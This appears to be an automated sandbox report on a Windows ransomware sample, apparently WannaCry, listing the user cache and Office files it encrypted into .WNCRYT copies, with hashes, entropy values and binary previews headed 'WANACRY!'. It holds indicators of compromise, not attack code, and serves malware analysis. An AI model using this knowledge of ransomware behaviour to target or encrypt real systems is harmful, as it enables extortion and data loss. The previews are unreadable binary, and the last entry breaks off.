                                                                                                                                                                              Preview:WANACRY!...... h...4.g...{....=d>.I..k..%(.4..R.....N.............{.~Ha4.....u.-...`D..V4...WgJ........<..6....9....st.9A.#c...3......3}.f...l...o.Zy..EA...:'M...NCO..8(..4..T.uK.g.p.8....J...91g<w.../..2..Q.c..)`.....rm|!...&..t&t....W".i...j.~.,...3......`......!7...#.*.RD.G.P6g1....v...d(N.j*...Y...A....U.-....D\.,.JP....4..8=m*_..v..U.I....$....<vf.p.].2<.....e.y..g...3.E.A.Tn.......,..#s..k..>..Tl.Y.&....|.S`Cqz.I..N"..K.h..<>\.N.,.=........8L.o.........p.....[...!...[~.....o*...Bb..-..D...w7fC.<MW.~E"........!;....I..e....|...0r.0..?..SV$F.>3..G.h..VG~.Z*.....J.....>......Z.6#..I...H....0=...$..J...#...{S../..l.M...97.Tz......8c.iSC7..b.z.*:.Vn?...yrS^.V......Y.....I.F.).....S.1).).|..x.w-.h.{....V..$....w.}.l..>.=..>t........w?...f'........w....a..$....QV .P......X,.:z...c...u...7.,`+..T...Pq.3..W...rB..o...\.TO.....3..y.p...J..}D#.*!.....x..-..7.2V 0.b.|......*..Q.'J^.....W.r;R.C)ww..e.&H.f'.kJ.. .....T.o...=......w..U.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.992370291981207
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:YNmA3Pk8/7aqZhMYSAV6V1G35E01mT9se9moyY1fJ1sUNZUbI5MUoVyQBQf7Ix1X:a31Lh+1i35E01use36hU5UwB8QW
                                                                                                                                                                              MD5:8EBCC7FCFACF4FB433B1A777CCD1D95B
                                                                                                                                                                              SHA1:7336BB4DE39710BCD17489507452274AAB7753AF
                                                                                                                                                                              SHA-256:ABB8AA30E9275254C3D2F34C971B9C7F1136694BB311B2A0B7BA2BAC97314015
                                                                                                                                                                              SHA-512:00367188D3B3A1B1AFD5CC8294BE2D01C09A5A035474153EF9F1FC9F35313F14CCEE178D06BA4DE4EC097263C2A6DA8243E173704134EDDFE2F5317CA2D32128
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......%.~.@.Jc5:..pMx........P.......-.e.c.L&......{...R..p......d.%..1..s...@.K.Yfq...{.H....Zsmm...,.U..i.Uw../;.+....hI..p.j..5.S!..%.j...IK...{..%.........F.7.W..%.T...oN...,I)oU#..(...kN.y.Sb...G.$..2.\...u9.3.~.e.w.I.h.##.......Q.,R_...A........`.......M*t_.bn..8..(.lh)'X.?....xt....U..|?G+.#.|...:I..x.]?...j.......:..Cw..ER.8..e..$...E.....87p.....E..W...|.A...[...U....c........P.U..f.%...ND....vS.j,..R.........M... ...1.f...G.2...`j....Vu......}sB......k...j..b.D.-\.....,o...#..)#..y.}g..N...u./....w.8.....[... 3....i.)...~..5..0.c........4.D......T...*Z..h.....6..s.*..!..o.$..>.lct..auA[.......$..,&../....g.&MX.3.L>.C'S..:..7Ya.....k!........."...._..{.....lE=....5i.....nJ..\..........p>..m....]....\...N..j....BX.m w..+.9.|....*w..BV..|.C.pq.}!...-..&...t......X...UpbOK!......|..... (..K....ug..9...d[%...#.v...\..8....$.]^Z...,..Fm....sF..)0.....l..&s..+.#.....-.p2S..`.%lj..tFlu|...~.].W....D....F.S..I.;^^#z...Z..}.d...Na

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.9918974583086095
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:mWGfq8SEHoMszRy1V6cZYP/ro14KcH1MAM0awd1DlmfVauCK8IR:pZ8SECBcCrtj1MQRdZOVNCU
                                                                                                                                                                              MD5:EB963992EFE7633B891EABF0B7F1C467
                                                                                                                                                                              SHA1:C49D8687E5BB7EB063AC2D03C5802C22F749DE57
                                                                                                                                                                              SHA-256:D67542B7059D4D05B87AF9622F5FE7773D051355847CF0B6E4ADAB5B54519C46
                                                                                                                                                                              SHA-512:88E958CF8537C8B23CB27C9212AEAD9C5ACC52CE167E253D5F079F81819ED04BA40E2ACC1D4A6F96246661B3EC94C1CA9B8098560AE9FBAAEEC36FCE0EAFB912
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-.1.D,..(.....2.P.P6.C....7."@^..tc..v@....h.N.>....'6.=..s..;C.[5..3.IU1h.8..7....2)..f.6,.g#l@.r%.Q.9..=.h.83....,..D.TC...T..T.6}g.u.D^.+CU..gyiPS.0.V:.P..LH+..q.~X...@&...(..3......K,O-.[....6..h<..o......g....1..j.......y..!.;.f<~'......4.....`......!..(.fb......lv.8.[...Hn..&j...{5.....m....H.mhU...xNR. ...8{...f........C.....UX.$....e.....vh.`.k...p....cn#.t......d...=.+._y.$59k......._..B.X.0V..<...=l..{...0....Q\.....}c...=t..g`&......{...w.r.o.|*o........oN..k&c.....f.j|8.....c.h..5.......q..a]n.......!~.~..I...-...&..F.| ..Y./.,...X.."`..*.T.L.q.d.E....+.. ..C....|..2...br.(5.........$W.M.`../......u.n.FuH+.....U.....k...c8.1..^a}.O+.C....-.~]c.s..+.6.".....:..a.._@V.A2CHe..A.;.W..{t....2...3..1..1).(..^C.O..w.W.....T..:.+q.Qjaj....y.%.....|.3..w&.!...y....)U(..-`..<g;..6.m-.x..c...,.y..-.....J..M..j.......r......]..`RQ1..3..4p/gB..Kt,@..+..S........s:..|.q..=l..Au.'u...T......k.z.|s...l.<.d0..VtRE...;oe..:@#.H.s..M.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.992859057525222
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:c4tn2LPPszlg67tQY7nI3WV1qiwWTHm5sIZWj5YPUjuj+4E92hBQzQOak8jgmBiP:lYP7YLwgqpqWVWMUjuqbzL+sOk
                                                                                                                                                                              MD5:B352AAB530F0EFDD4688C7198DA99665
                                                                                                                                                                              SHA1:7C8AB8ABA1DBA3A1F34AB417E5004BBD02814547
                                                                                                                                                                              SHA-256:146344510DDF0206ED0B56A84D413D67DE99162949C0C2E13AF228E29AEAF22A
                                                                                                                                                                              SHA-512:8E1E45A44D72B48521CAA95DB164C9E7777234AE3B194BE13F3B930080DEEE3221F0D300D6C6D021825CF9E5BFC783CDEBEF2ED8104C60FB040DF1D6B64D56B6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....[..T...V.n..[..........<..V......nQ..K.;*(....pur..4F.C..r^....W@.vE.Uxq.'G..Y.oW.y....c."...Dq.?....6.Yt\.*....>[..Fy.....?.n..z....A\s+.5F+.....]c7hME...&.!.PiU".tfJ/V...L2\<..)...F.cNH!|..P..?\|1...f.3..k..Z.K.J.&......1,.}-..KcY..nS....."}.....`.......2...ol.E.L..0.vS....(We.Am..y7q.!<.R~.qw+g-.o..R.....4..~...~t.....q......g......z.m.ZV.v...^..".z.s.......r.cZ.......[...J..6k.u.....1....(/.5X.h.`..p..#.F. .GuT.>....\..b...T...X.U.3.!...B....4..Y......r.......-:Ak...&......O.f.F\M.a...M.m..[..s.0.6.h8.n{.3gB....(....M#D..*.....`.R;.3.Q...".T..e..Su..#..<..|&_c...b.....t>.3".......P.E..P...;..*.....H..Fh.,.....;..a.`.e}.>..g.[.[..#..a.S.^e..\K]x,.....:$*..2...z1a..w...F..p.C$..o.G3.l.......2.X..>.....z..wF1=.Co`.......ZIWTEs...@.9X....#....F..r$..f;.nh../...)......K.9..I.4ua...G. ...Za.T.%1...(..x.....Gr...^.~.~B...9....I..~q.....W.k....h....9Z.V|/W{XQ.P..U\....L3.RW..Jp3.C.... .....&....(li..j..ZzT.v!...N.....UoQ.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.987764650674058
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:QQIbPNEbDeavKwzVz5Kir3CljTZUQZJmxDmN:QQIWbDBxzJkKK/ZpeVmN
                                                                                                                                                                              MD5:10FFD6B980432D40180988DEE9D733D4
                                                                                                                                                                              SHA1:E075F283E2B9B11E82D2413A2EB3E67834BB454A
                                                                                                                                                                              SHA-256:69C1306603FDC79178F7038E160A90DAEEB3A750FEC7D7B48D3B2FCDFB0A5B45
                                                                                                                                                                              SHA-512:9C43A1CB43F402366ABFA69DB5267D164CA5BD1C6FFEC6F8F1E3C777A927543B2C977824BCC8A35AB7E1A2AA9386EB1EF6C3A36F3F88043FAAC5810A3E407D90
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....3......M.G..zK.....^..u......./..VXHo}.....X&R'b..mt*T.;2.'eF'.....{.lm.].;..Dd.SCE.m....O.....V.].EZ3|.no`.......f.D.}`.Im........8.0...|/C.8.8.\""mV.....pc7.m..k~_.j.K.0.*.X.....FVi..b..!..;A......<3mq....."..9#0 ;~..A.?..n.z......2....N.7.....@............D..k........%......0.S..j...I.:%a..}..}.]...h..3.4.$..3....\....>...H..>.d....J.;..H.~~e...(.......}.............Ps...r.......$..r..U...t.vC....D.[.(3#.@.z.7%Eg.....le....Z].`.+.;.WHW.\s..Mln.@...f.y~...[.oU.~&.6h{!?.#.i.I....2.[..QVR|(...\|M.${i...v|,L.}.b.!&E0.5/L/....e..`..\...-.i ..2...#..Id....L...|x.K"....~.m{.E6..?P.#......a$1x..g...r...'...g...>%..a.}`H.bIN..`.3@;2j-.[p.J........a:.F...?.4.>.#..hh...s%.5.....i.\d...yO...).%.G,i...8r.....*V.y<wN..Ua...]T.T..S..9..D.10v........A...9..2....<..}.z..$+..L...!.u.......(@.y.x{...Uw.....>c.Cs..46.,...]...Xw<...z9g.U.r...>RC.....F..i...Yuh.....V.ZO....<;..UBM.d.....1...U..R..mU.h....1....c.......n....e..W+.$.2.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.988682113208475
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:iZLZxqznllylUMaPzkgX08eo4xsZ1PRzQqVDhdX9P4:iBZxyLbkjo4xSdDh52
                                                                                                                                                                              MD5:AE5889308F8BE8DD3F09634088DAF3B4
                                                                                                                                                                              SHA1:863D0DED0100737BB433086F59918403F177A455
                                                                                                                                                                              SHA-256:837BD9C89CE2C91ABAF0DA6FB8B3EC90B4E87CF444482F8CBD1F496F414AC0AB
                                                                                                                                                                              SHA-512:81BF3AD1515921ED26DEB6AED441FBD55099D6C12F02B16BD71DF71615E3EB284B0E17F787618E0C58837FDD936B4C5EDDD36F5F24559D6CCDE719FCC2232779
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......b..@.Y..., .z.G|.g........C&.O..!..H/sj....o.3:..1.:H.....?.X.. q.q.M.c.m._..L*7.n....=..........W.hs.....y..g..a|..r.s.1.LF....0..t.........D8.V.u(.f......fk...f..,....E....p.Xz..!..(eb.]..:.).#)N...,.P.....I.8A1C.9...b..1.ji}8...yr._..x.....@......4f....lh{i.8h.,.}4...|F.F..EO.+SRG...pu....|...*...=:.m.g7...........K....i'..P.U..?...hLKv.MP. .............aZ.x...V..&.8......EwHKi.i.\.l.1.P....O.3=u. s...?Tik.....[..r...i....;..~l..gc..8.:...6+..K..<y.>D...o.Hk.[|..W.Nuz.........,L).#?...u..KX....1@V....Z..S..F.pV.......}.*.'...._....6.........h.l.3...=..f.P......]..e....1.o..c.....B.....,....J.=..a.o./.... ......g...a.._.U..{.2.W..;h8..A......R..........87V+..p.'6.vYv..L.*[,-._39M...&...:O.......X`.K..0..k.1H_.F...@....l..p....Y^..J^...Lo...L\)f.mh...n..>....0.|m'.Q.9...].2...j\0.z,+.b8.\}......`..............M.P.......w...x.....8&..Rq..b..%Ix.|.(g.^...}.~.a.F.R<xFV5.^.gMk..Ka.w.q.h/%_J..?. *V....n.....(xd..9...\."(.;..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):424136
                                                                                                                                                                              Entropy (8bit):7.999511646957492
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:zacuvUgbSUESjKj+iXhveO0qHPPZ8xogvBQSQgxLqoVoIcLRPNdyffHcCMvR:XgOcmj/hvRBXxQLqoVoXl3yX0R
                                                                                                                                                                              MD5:B67A450041692F1D55B6CAFB7FFC629B
                                                                                                                                                                              SHA1:BC4BC8B12125C1A2B4D32838450A33D618ACFC50
                                                                                                                                                                              SHA-256:C9C9A73CEDA5D4B4433C294D2B638D817FC7DF0798956D2E3AE52068056189BC
                                                                                                                                                                              SHA-512:32C05345E745BE6E6AC6589F96ED2D8CAE1FDD95737CFA2C28D9B9BBE84DADECBD9FF32DBFFC02D1511853CB18DF98AE2C4D3E0DB5082069383E4F7A8AD21DAC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..../.<...aQ....%T...t.....b.E....[...y.q....4VG.Q\Q-h@i.....O%,U.c...m"w. ...l`^..K4.....n...s.7h...j..$..~.WY......L.1..w..=.Eb^s(&H......-%S0P...e...)....".R._?...M..%.U9.@.~I..T..".8<<....w...^9.#:Y.k....*n..,....W7...ZPZ8.u.y...aE;.....4TM[r.[4$.....w......B.....N..3...uU.0.D..a.........].w)&...I.Y..-..&.k;....E..#...D....Wg..P.wT...T.d.O..#h.......G..T7%.7..T3.(.........vL.r.(.%9LS@...=... ..aHq.J.....T6"l.#(.........t..."...&..E.ZL.-B+......bGK..^U......d;.*....o....k.U.....Cts.~..}.....tx........{]G.;M...Ne.f..b.....D...pl.*.....O`...........OW...8..e.7..h..y.}........:....'!.'..?v.Nw....9.m# ..G....P\....Cz.....E....ed.S.C\...GdX...8...F......O.1@..,1_e.%.uH.......m....8......JBf.A@.B....X\|'l.e..."-........1.|...1......Z.6.X?M.C./.D..ND...dW....k.q..w6...."..^..{.........JXL.e+Av./..\R...AT.C'...x%...@e..zumA.!;..0(.........J..\s.C...e.s1?.aI).;.7.....u....d|.....hY.....bu..u.=...0.T3....o...>.B...ap..6L.z...........NS......j.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):102680
                                                                                                                                                                              Entropy (8bit):7.998250629106307
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:QqVpYJDkzG0I655xDyWBCTDh+X5HkQhieQX:QqVpYJYzRI6pCIX5E1eQX
                                                                                                                                                                              MD5:E8801333038B5D9927E51FFC4650A497
                                                                                                                                                                              SHA1:621CE9CFE45C182BB21CAE7B7D1F4E32FD60021A
                                                                                                                                                                              SHA-256:7033181FD6EFE6A326761E5BFBDA3708C11E943C76DB525EA47ABB1760225F63
                                                                                                                                                                              SHA-512:F5368B9314920DB585E74A514DD7B3F87A41BA1E26953469CBD971F83206F99DD1C99553555C41959DC23E31802394D2F373CD21B43E7DCBD13DE20A2FC165C7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....:..].*....Xn..}....K]<n0.-..W{P.....{.-.t........5.;........o.......],...b8..V2-(...f5V.7..^5~K.......RP-l=......"b=.8b...H......rP.W`...:c".c.W;...p.HR.2..8u.$..Sz....{c.bho$..X...J..9h7..G.R.m..o..;...!......5.Q...?f:...#.$Gv0...>..._..o............e.............G...9.8qo.Pt. .o.'...W.Z.E=.:[.Z.M".C.....O.....Xc..$.....dX].(a........A.....".g.E.M.Q...oJ.x.*..K.:.<.;..OV....w.j.:.OBOa...q............hc..h....~..sM..x8..!..IP{..B+_^...9...A..D.....1l.P.]B.c.....6..Vz...z#.9>p~`.\.{Fkr..../.6...........$......-..s^3...u.tZ..5.~..)\C..&O.......HZ.fQ~....)..2.2.oK..H.P...........K.H8t.D<.'.r.....2.u....=..a...$#b.(..xv...&.fr..F6Y..AY..L..:.I"....A...[.............x..F.ZjMK....`....W#s.....iK... .)...Ore.wP.O'9.'.......N......7.d..#]...e~......v....R..'.y....!............N...>..'<J&..i..HW0*VF........s.\...4(L]..ZC.zN..B.......(B.i3............d..f0..<.X..f.)...O..&. ...Y&.p..c..._...k/.R~...$..|.......;`.-.".~.Mfi/#y...^.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):102344
                                                                                                                                                                              Entropy (8bit):7.998225833241117
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:KpQHOF09acIyCkt9rmfny+fcSIdgyXMkwn0s4QIamm7/T9aoeIs5gW4Ep:KpLyQkbuSFdVxS8+BZgX
                                                                                                                                                                              MD5:72C93FA76E0ECD366545FD12B2D96E73
                                                                                                                                                                              SHA1:5B46746B928D66A2E4CC35B06B7D3913F980BF35
                                                                                                                                                                              SHA-256:F2AA859A09AFF6062472D0D53F164327EFC45A0A925209129F1382FEB919B2C9
                                                                                                                                                                              SHA-512:A8EB4FC65252FE1C7C22E19A30B4A953327BA843AC9E5456749A398EE4DC24898E4ABA8328CB3EF9EACA101587819E573499865AD05805948275B5E765BFE834
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....6...^6VA|.......-.`.......x."a.}X...?....y....Nd$}2....(jqY......$]2Q...a/...e.<M..A{Pc.....&.c...BeT.....1gb[.f.fA-....i..#.I..............G^a.......:.X..6....P.. ......H...g..dw..Vc.$...q..c...)..0..........-..S,...Tc.....0.....E..7...,..Ww.?.................L+.O....G.r....S6.1.._.t%k1.E7....l.-._..Q...\..(...3..p=..x.S.l.|.Jm.D./<.CV.b..jw...%R....3<.!.]x......DO.P{0.".Q<GP..)f9.d.5................L(nejR.@.Q.U..-...".....>m.\U.....fo..q. y..L?'U.8S.qh..X.]...f....v'Q.h%.Q.d.S>.'..c.0Q.....y..\.....`M....M..KPP..n.7.>.]>V.Y:.....f..l...3,...'..y/!.*$....9...0.s..R.2.S.s@Ht..+.;Q.]....p.M...[...@.....,..1R......B...5z.....<........Y....V..N.D...*....q$'.{.m......e.x.O..O.%.}p...w.Q...U.vy..G.8.@9u.bh.....~.2.....2..E.;....5..V)X..._..U+.;....?..]..A\..n...../j....0....+.E..0>r..6.8N}.`8pO._...@1......A....].G...@.....FH.+|.8..Y.)..w... ?|...7..=.R..Z..zV.@[?....z.^../.........7..TM1.X....Z..s....H..%5c..7Z..G.np..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):75240
                                                                                                                                                                              Entropy (8bit):7.99736776037849
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:kZbHzHmW93FTZC7lVwy+iWedFF0GzR0GYE986oVD5:kRHzHz93FoHYiWmHiGYOFoL
                                                                                                                                                                              MD5:2660D0054302F82EF80CEEE3D87C5A48
                                                                                                                                                                              SHA1:4BCBBBE32A3DE3A74813C360A4FC3974D7925A4B
                                                                                                                                                                              SHA-256:0FB4AD2F82760145B7C67E1BF9CDDE73EB60759A53ED1AA31B1E5AE781B9C656
                                                                                                                                                                              SHA-512:05C7D3C10B75BEC2EEA183584519B7AD69BFDF91719265DDEF2636F7573A90BBF7C24CA2FF0B2BC2B4668A961C89A98FAABF7EC1A4A4B9466721F383D51AB5BD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f...r..d{zO%...Y..2I..5..c..0*............R7...t....Z.y.....:..d.+2.{.~.!#..g....cE.......X|..t.:......R.....q.....K..%@\....?L...7.....G.<.<..K}.@..eV....=.<N0.Xk....A.Xu..u^.l&P.d....7X...&.$.p.~........q.[.Ho..;W.n6.........M.e._".s.@....z.>.}.....$......t...F...*.k.Z.._....i..Wi.~..og.b.E.y...:"a~r.-.....&.m...h.h..]Ll...{.-E...%....3H,CI.$....~(...7..........o..:3.A..oDV.......<.q.Rg.._....W..D...u4F".?.a]H27...m.....>..N@.'B.k.)(.>8c.DM.P........H...5vOU..........K.$.....%A.e.Gy#.B..;Q.M..8N./.T........G..Q... ..K..d.N6..M..z....l...d.:'X....z.N.V.ws.K....j....l.!....W...d.....8P..xCr..r7-z.H2_K.RT..O.V."|*..\}CA...n...E..X........q.^f/..zu.._.,.T...q..+...P". .og..g.bo.]'%..]...d.j.K.wn.................../........3..&.0.X....`...P..%F.Qn...,TPJNv.<..Y._r...%}.._...Z. .o..V...g..4W~.$.~..wP4....L.^~.Y....... ..xX.i%.w;,.Wt..u.`.0.:g...-oK.........i.-./4-....|S...z H|.t.l7UA *.c...n.3...a]]_...e.$...j+31..r........@.T.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.117264650511433
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEDvwq/T0AIwplTXYaEFMXFSXOKNolVJVCY93NOa/NmHb1RJUquqH:bkEzXT2wplTXYaCSb9fllNJ/o71R6qu0
                                                                                                                                                                              MD5:F369181A7C686152D9BF58E1F43F75D7
                                                                                                                                                                              SHA1:AE23CA64005952CC6F6763AEEFBA877BB025E075
                                                                                                                                                                              SHA-256:1B26164DA9AA42DA4C83A9CCB5818E69A767022A40E2FA02D1A55A4C36A95ACC
                                                                                                                                                                              SHA-512:59F27F33574595997F5CCCA5AAC93658C9F49D6708A68F023813CE9650D3D903B7C1F6C8BE6E7AB20E1B2FEFBD16BDE921E51756F160D996587D08ADC585DD6A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....B]..}..m&8.a..Q.$p.Vw.Z. k.!.H.....U......../.r......;\r.....;{..GP.k....K!G-..=.Yy.$..t=J...k.zd..V0S..k_.a.......}....d..D/...%".q.G#..wH...P............x...1............'.J..w.&Ah..p/.....................8.v\..r.....U.....IDU\0..u...wp.7...4.............+.%.d&V.Y>WN.........7N..'|..U..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999805972390525
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:Rj31f3uEkeGkyaHRP/MOF9ghS+/vIp/v9205rumX3iH7Cfi2b5bqZR:NFfeteGkyaNBCn4p/vssrPSHMi2xqZR
                                                                                                                                                                              MD5:FD27C627ADD6E955D034C1772D1D74F5
                                                                                                                                                                              SHA1:0470DD7701B2104A5E1DCF665E26CD8F811AD0A6
                                                                                                                                                                              SHA-256:A736F19C0644BE10FCB2C86A17F85F8B47BA8EF72FF317C287F5BAF035A16F90
                                                                                                                                                                              SHA-512:376FB296264818FC1A8F69A36E4B190A879F223A01551426B85D9E304A74F6506C57F61CBDFAD613BD3C644C68161A5AD30A79D413976B4CDA47576A0262DB43
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....'M%.R=P$..L\.._...H.,..........X}....^..4...C.$&.?...=.x....Ji..%.g0..Dz.i?.,5v.SF....I..4<.+SJ^F<..%..k..h..sa_.2iui.....Tt.X..t..u..S.viV...*A,kf..f*..<~x...&......g[.$..f\.P..q.v.....mk(e5ft...sr...H.Q0...=.|UY....K&;..5.JF.F-..'.CZ.?IU.mi..............m..J..3.....#.b.g.".....|...2..........}2...K=....m.......9.y....a.=.H.Y....5....9...f.:.':hs.m......Y...~..q..t..j......g..~F._..;.E...u.7.oAQ.{..D.zd.o.x...W.@..$..5..1...c.-5.W.5.-./...-f..........?...4.D9/.....>M....<.7.7.vCGN.._....qO?.&u.a..9Ozk...G@..{8.G....F`...2M..u.....i...0.Q....u..G.....oY....<.{#.f.N.gi....\...s.E9h..-Z&^...W...t...4.4LMF7...2......4X8...J.@..@..-.....BLEB......D.....irC6....S.....5:.P....H.L`.`...45{,....cRKr.0T>?\...r.Z...|*..k.J+C~..?......Z.^...>W.._i.<...z.....S...@/C]..c.......R;.Q...".v.U|Qc...K.z..)C!(..3g=...i.^..')7....j.!.......m.q...3.C..f....[W..cd.^.....8...d.v..D|pR...Z.....r.#........Y...5...h..>.{J.=.QA]................V:...!

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.200213807141723
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEBpX0qWUL576m+jCSkVN0s85QEhM/zniqHHqMKAn:bkEf0q1L56ROSa0b+/zQMbn
                                                                                                                                                                              MD5:DF401F9E9BA70FF4B9B44B488983AD29
                                                                                                                                                                              SHA1:9106905088F3F3A396B4608ED85034674076E82B
                                                                                                                                                                              SHA-256:A45DAE572F5A8845061CBDA60737488E04330E9BA6715A9928808544FC772A83
                                                                                                                                                                              SHA-512:7D522A10A861F4BF3C30736E307EDA1D128720264E594DBCDF60DE5C67A9F23CCFE879D5F64689D43C1642100806BD7C50DD244D36D79EF9FECE7D33CA969F5C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Zh.....6sN/J.....d6I....?..>&...(*..ul..C5......O...5.q..x3X/W..{?$...Zm.b8...*%.2..Ir..../..Uk...m.=..D)..........%\......|3.H.}p.g.$.e..V6.!s.....{....G.....9W6..7.H.*.....T.<...3...bK.QNH...qS(/M...EE._X.xY.V......J'.H.-..P.(:q.bJc.F..6.o.x!.............n.E....uBP.A....^...*.UQ....K%

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3146008
                                                                                                                                                                              Entropy (8bit):7.999941214915678
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:98304:hZ687x1UNRLi5jCd/15AQ0w8GQNTUn8MZp:hZ68LUumzhQNTe/
                                                                                                                                                                              MD5:911BBA23B336BB86B8AC6E4C6E330F70
                                                                                                                                                                              SHA1:0F79A0714825DFB19FDAC2B63ED2F59026E4FD2B
